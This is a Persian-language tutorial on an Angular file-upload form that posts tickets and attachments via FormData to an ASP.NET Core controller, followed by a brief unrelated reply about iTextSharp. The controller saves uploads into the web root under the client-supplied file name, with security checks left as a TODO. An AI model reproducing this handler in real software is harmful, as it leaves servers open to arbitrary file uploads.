د) ذکر ویژگی استاندارد multiple را نیز در اینجا مشاهده می‌کنید. وجود آن سبب خواهد شد تا کاربر بتواند چندین فایل را با هم انتخاب کند. اگر نیازی به ارسال چندین فایل نیست، این ویژگی را حذف کنید.


دسترسی به المان ارسال فایل در کامپوننت متناظر

تا اینجا یک المان ارسال فایل را به فرم، اضافه کرده‌ایم. اما چگونه باید به فایل‌های آن برای ارسال به سرور دسترسی پیدا کنیم؟
برای این منظور در ادامه دو روش را بررسی خواهیم کرد:

1) دسترسی به المان ارسال فایل از طریق رخ‌داد change
در تعریف فیلد ارسال فایل، اتصال به رخ‌داد change تعریف شده‌است:
 (change)="fileChange($event)"
معادل آن در سمت کامپوننت متناظر، به صورت ذیل است:
fileChange(event) {
    const filesList: FileList = event.target.files;
    console.log("fileChange() -> filesList", filesList);
}
همانطور که مشاهده می‌کنید، event.target، امکان دسترسی مستقیم به المان متناظری را در قالب کامپوننت میسر می‌کند. سپس می‌توان به خاصیت files آن دسترسی یافت.


در اینجا ساختار شیء استاندارد FileList و اجزای آن‌را مشاهده می‌کنید. برای مثال چون دو فایل انتخاب شده‌است، این لیست به همراه یک خاصیت طول و دو شیء File است.

تعاریف این اشیاء استاندارد، در فایل ذیل قرار دارند و به همین جهت است که VSCode، بدون نیاز به تنظیمات دیگری، آن‌ها را شناسایی و intellisense متناظری را مهیا می‌کند:
 C:\Program Files (x86)\Microsoft VS Code\resources\app\extensions\node_modules\typescript\lib\lib.dom.d.ts
همچنین اگر به فایل tsconfig.json پروژه نیز مراجعه کنید، یک چنین تعاریفی در آن قرار دارند:
{
    "lib": [
      "es2016",
      "dom"
    ]
  }
}
وجود و تعریف کتابخانه‌ی dom است که سبب کامپایل شدن کدهای فوق، بدون بروز هیچگونه خطایی می‌شود.


2) دسترسی به المان آپلود فایل از طریق یک template reference variable
در حین تعریف المان فایل در فرم برنامه، متغیر screenshotInput# نیز ذکر شده‌است. می‌توان به یک چنین متغیرهایی در کامپوننت متناظر به روش ذیل دسترسی یافت:
import { Component, OnInit, ViewChild, ElementRef } from "@angular/core";

export class UploadFileSimpleComponent implements OnInit {
  @ViewChild("screenshotInput") screenshotInput: ElementRef;

  submitForm(form: NgForm) {
    const fileInput: HTMLInputElement = this.screenshotInput.nativeElement;
    console.log("fileInput.files", fileInput.files);
  }
ابتدا یک خاصیت جدید را به نام screenshotInput از نوع ElementRef که در angular/core@ تعریف شده‌است، اضافه می‌کنیم. سپس برای اتصال آن به template reference variable ایی به نام screenshotInput، از ویژگی به نام ViewChild، با پارامتری مساوی نام همین متغیر، استفاده خواهیم کرد.
اکنون خاصیت screenshotInput کامپوننت، به متغیری به همین نام در قالب متناظر با آن متصل شده‌است. بنابراین با استفاده از خاصیت nativeElement آن همانند کدهایی که در متد submitForm فوق ملاحظه می‌کنید، می‌توان به خاصیت files این کنترل ارسال فایل‌ها دسترسی یافت.
نوع جدید و استاندارد HTMLInputElement نیز در فایل lib.dom.d.ts که پیشتر معرفی شد، ثبت شده‌است.


ارسال فرم درخواست پشتیبانی به سرور

تا اینجا فرمی را تشکیل داده و همچنین به فیلد file آن دسترسی پیدا کردیم. اکنون می‌خواهیم این اطلاعات را به سمت سرور ارسال کنیم. برای این منظور، سرویس جدیدی را ایجاد خواهیم کرد:
 >ng g s UploadFile/UploadFileSimple -m upload-file.module
که سبب به روز رسانی خودکار قسمت providers فایل upload-file.module.ts نیز می‌شود.
در ادامه کدهای کامل این سرویس را مشاهده می‌کنید:
import { Http, RequestOptions, Response, Headers } from "@angular/http";
import { Injectable } from "@angular/core";
import { Observable } from "rxjs/Observable";
import "rxjs/add/operator/do";
import "rxjs/add/operator/catch";
import "rxjs/add/observable/throw";
import "rxjs/add/operator/map";
import "rxjs/add/observable/of";

import { Ticket } from "./ticket";

@Injectable()
export class UploadFileSimpleService {
  private baseUrl = "api/SimpleUpload";

  constructor(private http: Http) {}

  private extractData(res: Response) {
    const body = res.json();
    return body || {};
  }

  private handleError(error: Response): Observable<any> {
    console.error("observable error: ", error);
    return Observable.throw(error.statusText);
  }

  postTicket(ticket: Ticket, filesList: FileList): Observable<any> {
    if (!filesList || filesList.length === 0) {
      return Observable.throw("Please select a file.");
    }

    const formData: FormData = new FormData();

    for (const key in ticket) {
      if (ticket.hasOwnProperty(key)) {
        formData.append(key, ticket[key]);
      }
    }

    for (let i = 0; i < filesList.length; i++) {
      formData.append(filesList[i].name, filesList[i]);
    }

    const headers = new Headers();
    headers.append("Accept", "application/json");
    const options = new RequestOptions({ headers: headers });

    return this.http
      .post(`${this.baseUrl}/SaveTicket`, formData, options)
      .map(this.extractData)
      .catch(this.handleError);
  }
}
توضیحات تکمیلی:
روش کار با فرم‌هایی که فیلدهای ارسال فایل را به همراه دارند، متفاوت است با روش کار با فرم‌های معمولی. در فرم‌های معمولی، اصل شیء Ticket را به متد this.http.post واگذار می‌کنیم. مابقی آن خودکار است. در اینجا باید شیء استاندارد FormData را تشکیل داده و سپس اطلاعات را از طریق آن ارسال کنیم:
الف) افزودن مقادیر خواص شیء Ticket به FormData
  postTicket(ticket: Ticket, filesList: FileList): Observable<any> {
    const formData: FormData = new FormData();

    for (const key in ticket) {
      if (ticket.hasOwnProperty(key)) {
        formData.append(key, ticket[key]);
      }
    }
با استفاده از حلقه‌ی for می‌توان بر روی خواص یک شیء جاوا اسکریپتی حرکت کرد. به این ترتیب می‌توان نام و مقدار آن‌ها را یافت و سپس به formData به صورت key/value افزود.

ب) افزودن فایل‌ها به شیء FormData
پس از افزودن اطلاعات ticket به FormData، اکنون نوبت به افزودن فایل‌های فرم است:
    for (let i = 0; i < filesList.length; i++) {
      formData.append(filesList[i].name, filesList[i]);
    }
این مورد نیز به سادگی تشکیل یک حلقه، بر روی خاصیت files المان آپلود فایل است. به همین جهت بود که به دو روش سعی کردیم، به این خاصیت دسترسی پیدا کنیم.

یک نکته: چون در اینجا کلید اضافه شده، نام فایل است، دیگر نمی‌توان در سمت سرور از روش model binding استفاده کرد. چون این نام دیگر ثابت نیست و هربار می‌تواند متغیر باشد (در حالت model binding دقیقا مشخص است که کلید مشخصی قرار است به سرور ارسال شود و بر همین اساس، نام خاصیت یا پارامتر سمت سرور تعیین می‌گردد). به همین جهت در سمت سرور برای دسترسی به این مجموعه، از روش Request.Form.Files استفاده می‌کنیم.

ج) ارسال اطلاعات نهایی به سرور
اکنون که formData را بر اساس اطلاعات اضافی ticket و فایل‌های متصل به آن تشکیل دادیم، روش ارسال آن به سرور همانند قبل است:
    const headers = new Headers();
    headers.append("Accept", "application/json");
    const options = new RequestOptions({ headers: headers });

    return this.http
      .post(`${this.baseUrl}/SaveTicket`, formData, options)
      .map(this.extractData)
      .catch(this.handleError);

یک نکته: در اینجا در روش استفاده از formData نباید Content-Type را به multipart/form-data  تنظیم کرد. در غیراینصورت خطای Missing content-type boundary error را دریافت می‌کنید.


تکمیل کامپوننت ارسال درخواست پشتیبانی

پس از تکمیل سرویس ارسال اطلاعات به سمت سرور، اکنون نوبت به استفاده‌ی از آن در کامپوننت ارسال فرم درخواست پشتیبانی است. بنابراین ابتدا این سرویس جدید را به سازنده‌ی UploadFileSimpleComponent تزریق می‌کنیم:
import { UploadFileSimpleService } from "./../upload-file-simple.service";

export class UploadFileSimpleComponent implements OnInit {
  constructor(private uploadService: UploadFileSimpleService  ) {}
و سپس متد submitForm چنین شکلی را پیدا می‌کند:
  submitForm(form: NgForm) {
    const fileInput: HTMLInputElement = this.screenshotInput.nativeElement;
    console.log("fileInput.files", fileInput.files);

    this.uploadService
      .postTicket(this.model, fileInput.files)
      .subscribe(data => {
        console.log("success: ", data);
      });
  }
در اینجا this.model حاوی اطلاعات شیء ticket است (برای مثال اطلاعات توضیحات آن) و fileInput.files امکان دسترسی به اطلاعات فایل‌های انتخابی توسط کاربر را می‌دهد. پس از آن فراخوانی متدهای this.uploadService.postTicket و subscribe، سبب ارسال این اطلاعات به سمت سرور می‌شوند.


دریافت فرم درخواست پشتیبانی در سمت سرور و ذخیره‌ی فایل‌های آن‌

کدهای کامل SimpleUpload که در سرویس فوق مشخص شده‌است، به صورت ذیل هستند. ابتدا مدل Ticket مشخص شده‌است:
namespace AngularTemplateDrivenFormsLab.Models
{
    public class Ticket
    {
        public int Id { set; get; }
        public string Description { set; get; }
    }
}
و سپس کنترلر ذخیره سازی اطلاعات Ticket را مشاهده می‌کنید:
using System.IO;
using System.Threading.Tasks;
using AngularTemplateDrivenFormsLab.Models;
using Microsoft.AspNetCore.Hosting;
using Microsoft.AspNetCore.Mvc;

namespace AngularTemplateDrivenFormsLab.Controllers
{
    [Route("api/[controller]")]
    public class SimpleUploadController : Controller
    {
        private readonly IHostingEnvironment _environment;
        public SimpleUploadController(IHostingEnvironment environment)
        {
            _environment = environment;
        }

        [HttpPost("[action]")]
        public async Task<IActionResult> SaveTicket(Ticket ticket)
        {
            //TODO: save the ticket ... get id
            ticket.Id = 1001;

            var uploadsRootFolder = Path.Combine(_environment.WebRootPath, "uploads");
            if (!Directory.Exists(uploadsRootFolder))
            {
                Directory.CreateDirectory(uploadsRootFolder);
            }

            var files = Request.Form.Files;
            foreach (var file in files)
            {
                //TODO: do security checks ...!

                if (file == null || file.Length == 0)
                {
                    continue;
                }

                var filePath = Path.Combine(uploadsRootFolder, file.FileName);
                using (var fileStream = new FileStream(filePath, FileMode.Create))
                {
                    await file.CopyToAsync(fileStream).ConfigureAwait(false);
                }
            }

            return Created("", ticket);
        }
    }
}
توضیحات تکمیلی
- تزریق IHostingEnvironment در سازنده‌ی کلاس کنترلر، سبب می‌شود تا از طریق خاصیت WebRootPath آن، به مسیر wwwroot سایت دسترسی پیدا کنیم و فایل‌های نهایی را در آنجا ذخیره سازی کنیم.
- همانطور که ملاحظه می‌کنید، هنوز هم model binding کار کرده و می‌توان شیء Ticket را به نحو متداولی دریافت کرد:
 SaveTicket(Ticket ticket)
اما همانطور که عنوان شد، چون در حلقه‌ی افزودن فایل‌ها در سمت کلاینت، کلید نام این فایل‌ها هربار متفاوت است:
 formData.append(filesList[i].name, filesList[i]);
مجبور هستیم در سمت سرور بر روی Request.Form.Files یک حلقه را تشکیل داده و تمام فایل‌های رسیده را پردازش کنیم:
var files = Request.Form.Files;
foreach (var file in files)



کدهای کامل این قسمت را از اینجا می‌توانید دریافت کنید.
پاسخ به بازخورد‌های پروژه‌ها
نمایش متن ساده
برای نمایش متن ساده از همان iTextSharp و افزونه‌های آن می‌شود استفاده کرد. برای تبدیل HTML به PDF قبلا راهنمایی در سایت تهیه شده. همچنین نکات فارسی نویسی با iTextSharp هم تمام و کمال در سایت بررسی و مستند شده‌اند.